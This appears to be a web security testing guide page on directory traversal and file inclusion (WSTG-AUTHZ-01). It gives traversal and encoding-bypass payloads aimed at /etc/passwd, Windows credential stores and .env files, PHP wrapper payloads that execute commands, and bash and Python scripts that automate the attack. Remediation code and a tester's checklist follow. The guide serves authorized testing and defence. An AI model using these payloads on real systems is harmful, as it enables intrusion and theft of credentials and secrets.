wstg-authz-01
Test ID
WSTG-AUTHZ-01
Test Name
Testing Directory Traversal File Include
High-Level Description
Directory traversal (also known as path traversal) is a vulnerability that allows attackers to access files and directories outside the intended directory by manipulating file path parameters. Attackers use special characters like ../ to navigate the file system and access sensitive files such as configuration files, password files, or application source code.
What to Check
Vulnerable Parameters
Common Targets
| Target File |
Purpose |
/etc/passwd |
Linux user accounts |
/etc/shadow |
Linux password hashes |
C:\Windows\win.ini |
Windows system file |
C:\Windows\System32\config\SAM |
Windows credentials |
/var/log/apache2/access.log |
Web server logs |
WEB-INF/web.xml |
Java app config |
.env |
Environment variables |
How to Test
Step 1: Identify File Parameters
# Look for file-related parameters
# Common parameter names:
# file, path, doc, document, folder, root, pg, style, pdf, template,
# php_path, lang, page, name, cat, dir, action, board, date, detail,
# download, prefix, include, inc, locate, show, site, type, view, content
# Find parameters in requests
grep -rE "file=|path=|doc=|template=|page=|include=" burp_requests.txt
Step 2: Basic Traversal Tests
# Linux targets
curl -s "https://target.com/download?file=../../../etc/passwd"
curl -s "https://target.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.com/download?file=..%2f..%2f..%2fetc/passwd"
curl -s "https://target.com/download?file=..%252f..%252f..%252fetc/passwd"
# Windows targets
curl -s "https://target.com/download?file=..\..\..\..\windows\win.ini"
curl -s "https://target.com/download?file=..%5c..%5c..%5cwindows\win.ini"
Step 3: Encoding Bypass Techniques
#!/bin/bash
# Test various encoding bypasses
target="https://target.com/download?file="
payloads=(
# Basic traversal
"../../../etc/passwd"
"..\\..\\..\\etc\\passwd"
# URL encoding
"%2e%2e/%2e%2e/%2e%2e/etc/passwd"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
# Double URL encoding
"%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd"
# Unicode encoding
"..%c0%af..%c0%af..%c0%afetc/passwd"
"..%c1%9c..%c1%9c..%c1%9cetc/passwd"
# Null byte injection (older systems)
"../../../etc/passwd%00.jpg"
"../../../etc/passwd%00.pdf"
# Double dots with various separators
"....//....//....//etc/passwd"
"..../..../..../etc/passwd"
"....\/....\/....\/etc/passwd"
# Absolute path
"/etc/passwd"
"file:///etc/passwd"
)
for payload in "${payloads[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload', safe=''))")
response=$(curl -s "${target}${payload}" | head -c 200)
if echo "$response" | grep -q "root:"; then
echo "[VULN] Payload works: $payload"
fi
done
Step 4: Wrapper/Protocol Tests
# PHP wrappers (if PHP is used)
curl -s "https://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
curl -s "https://target.com/page?file=php://input" -d "<?php system('id'); ?>"
curl -s "https://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
curl -s "https://target.com/page?file=expect://id"
# File protocol
curl -s "https://target.com/page?file=file:///etc/passwd"
# Zip wrapper
curl -s "https://target.com/page?file=zip://uploads/malicious.zip%23shell.php"
Step 5: Web Application Specific Paths
# Java/Tomcat
curl -s "https://target.com/download?file=../WEB-INF/web.xml"
curl -s "https://target.com/download?file=../WEB-INF/classes/config.properties"
curl -s "https://target.com/download?file=../META-INF/MANIFEST.MF"
# ASP.NET
curl -s "https://target.com/download?file=../web.config"
curl -s "https://target.com/download?file=../bin/App_Code.dll"
# Node.js
curl -s "https://target.com/download?file=../package.json"
curl -s "https://target.com/download?file=../.env"
curl -s "https://target.com/download?file=../config/database.js"
# Python/Django/Flask
curl -s "https://target.com/download?file=../settings.py"
curl -s "https://target.com/download?file=../requirements.txt"
Step 6: Automated Testing
#!/usr/bin/env python3
import requests
import urllib.parse
import sys
class PathTraversalTester:
def __init__(self, base_url, param_name):
self.base_url = base_url
self.param_name = param_name
self.session = requests.Session()
# Common traversal payloads
PAYLOADS = [
# Basic
"../../../etc/passwd",
"..\\..\\..\\windows\\win.ini",
# URL encoded
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"..%2f..%2f..%2fetc/passwd",
# Double encoded
"%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd",
# Unicode/overlong
"..%c0%af..%c0%af..%c0%afetc/passwd",
# Null byte
"../../../etc/passwd%00.jpg",
"../../../etc/passwd%00.txt",
# Filter bypass
"....//....//....//etc/passwd",
"..../....//..../etc/passwd",
"....\/....\/....\/etc/passwd",
# Absolute paths
"/etc/passwd",
"//etc/passwd",
# Windows
"..\\..\\..\\..\\windows\\win.ini",
"..%5c..%5c..%5c..%5cwindows\\win.ini",
"....\\\\....\\\\....\\\\windows\\win.ini",
]
# Indicators of successful traversal
INDICATORS = {
"linux": ["root:", "daemon:", "bin:", "sys:"],
"windows": ["[fonts]", "[extensions]", "[Mail]"],
"config": ["password", "secret", "api_key", "database"],
}
def test_traversal(self):
"""Test all payloads"""
print(f"[*] Testing {self.base_url} with parameter '{self.param_name}'")
vulnerabilities = []
for payload in self.PAYLOADS:
try:
url = f"{self.base_url}?{self.param_name}={payload}"
response = self.session.get(url, timeout=10)
# Check for success indicators
for os_type, indicators in self.INDICATORS.items():
for indicator in indicators:
if indicator in response.text:
print(f"[VULN] {os_type.upper()} file accessed with: {payload}")
vulnerabilities.append({
"payload": payload,
"type": os_type,
"indicator": indicator
})
break
except Exception as e:
print(f"[ERROR] {payload}: {e}")
return vulnerabilities
def test_depth(self, max_depth=15):
"""Test different traversal depths"""
print(f"[*] Testing traversal depths up to {max_depth}")
for depth in range(1, max_depth + 1):
traversal = "../" * depth
payload = f"{traversal}etc/passwd"
try:
url = f"{self.base_url}?{self.param_name}={payload}"
response = self.session.get(url, timeout=10)
if "root:" in response.text:
print(f"[VULN] Success at depth {depth}: {payload}")
return depth
except:
pass
print("[INFO] No successful traversal at tested depths")
return None
# Usage
if __name__ == "__main__":
tester = PathTraversalTester(
"https://target.com/download",
"file"
)
vulns = tester.test_traversal()
depth = tester.test_depth()
if vulns:
print(f"\n[!] Found {len(vulns)} vulnerabilities")
Tools
Automated Scanners
| Tool |
Description |
Usage |
| Burp Suite |
Intruder with traversal payloads |
Automated testing |
| dotdotpwn |
Directory traversal fuzzer |
dotdotpwn -m http -h target.com |
| dirsearch |
Web path scanner |
Path discovery |
| wfuzz |
Web fuzzer |
wfuzz -c -w traversal.txt -u "URL?file=FUZZ" |
Wordlists
| Wordlist |
Source |
traversal.txt |
SecLists |
LFI-gracefulsecurity-linux.txt |
SecLists |
LFI-gracefulsecurity-windows.txt |
SecLists |
Remediation Guide
1. Input Validation
import os
import re
def secure_file_access(user_input, base_directory):
"""Secure file access with path validation"""
# Whitelist allowed characters
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_input):
raise ValueError("Invalid filename")
# Construct full path
full_path = os.path.join(base_directory, user_input)
# Resolve to absolute path and check it's within base
real_path = os.path.realpath(full_path)
real_base = os.path.realpath(base_directory)
if not real_path.startswith(real_base + os.sep):
raise ValueError("Path traversal detected")
# Check file exists
if not os.path.isfile(real_path):
raise FileNotFoundError("File not found")
return real_path
2. Java Implementation
import java.io.File;
import java.nio.file.Path;
import java.nio.file.Paths;
public class SecureFileHandler {
private final Path baseDirectory;
public SecureFileHandler(String basePath) {
this.baseDirectory = Paths.get(basePath).toAbsolutePath().normalize();
}
public File getSecureFile(String userInput) throws SecurityException {
// Validate input - only allow alphanumeric and specific chars
if (!userInput.matches("[a-zA-Z0-9_\\-\\.]+")) {
throw new SecurityException("Invalid filename");
}
// Resolve path
Path requestedPath = baseDirectory.resolve(userInput).normalize();
// Verify within base directory
if (!requestedPath.startsWith(baseDirectory)) {
throw new SecurityException("Path traversal attempt detected");
}
File file = requestedPath.toFile();
if (!file.exists() || !file.isFile()) {
throw new SecurityException("File not found");
}
return file;
}
}
3. Node.js Implementation
const path = require("path")
const fs = require("fs")
function secureFileAccess(userInput, baseDirectory) {
// Whitelist validation
if (!/^[a-zA-Z0-9_\-\.]+$/.test(userInput)) {
throw new Error("Invalid filename")
}
// Resolve paths
const basePath = path.resolve(baseDirectory)
const requestedPath = path.resolve(baseDirectory, userInput)
// Check path is within base directory
if (!requestedPath.startsWith(basePath + path.sep)) {
throw new Error("Path traversal detected")
}
// Verify file exists
if (!fs.existsSync(requestedPath) || !fs.statSync(requestedPath).isFile()) {
throw new Error("File not found")
}
return requestedPath
}
4. Use ID-Based File References
# Instead of passing filenames, use IDs
# Database: files (id, filename, user_id)
@app.route('/download/<int:file_id>')
def download_file(file_id):
# Query database for file info
file_record = File.query.filter_by(
id=file_id,
user_id=current_user.id
).first_or_404()
# Construct path from stored filename
file_path = os.path.join(UPLOAD_DIR, file_record.stored_name)
return send_file(file_path, as_attachment=True,
download_name=file_record.original_name)
Risk Assessment
CVSS Score
| Finding |
CVSS |
Severity |
| Read arbitrary system files |
7.5 |
High |
| Read application config/secrets |
8.6 |
High |
| Access to source code |
6.5 |
Medium |
| Limited file disclosure |
5.3 |
Medium |
CWE Categories
| CWE ID |
Title |
Description |
| CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory |
Path traversal |
| CWE-23 |
Relative Path Traversal |
Using ../ to escape |
| CWE-36 |
Absolute Path Traversal |
Using absolute paths |
| CWE-73 |
External Control of File Name or Path |
User controls path |
References
Checklist
[ ] File-related parameters identified
[ ] Basic traversal sequences tested
[ ] URL encoding bypasses tested
[ ] Double encoding tested
[ ] Unicode encoding tested
[ ] Null byte injection tested
[ ] Filter bypass techniques tested
[ ] PHP wrappers tested (if applicable)
[ ] Application-specific paths tested
[ ] Windows and Linux paths tested
[ ] Different traversal depths tested
[ ] Findings documented
[ ] Remediation recommendations provided